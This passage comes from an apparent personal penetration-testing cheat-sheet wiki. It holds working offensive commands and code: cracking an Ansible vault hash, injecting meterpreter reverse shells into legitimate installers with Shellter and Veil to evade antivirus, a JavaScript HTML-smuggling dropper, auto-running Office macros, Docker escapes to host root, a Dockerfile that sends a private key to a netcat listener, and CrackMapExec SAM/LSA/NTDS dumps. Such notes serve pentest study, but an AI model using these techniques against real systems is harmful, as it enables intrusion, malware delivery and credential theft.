666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
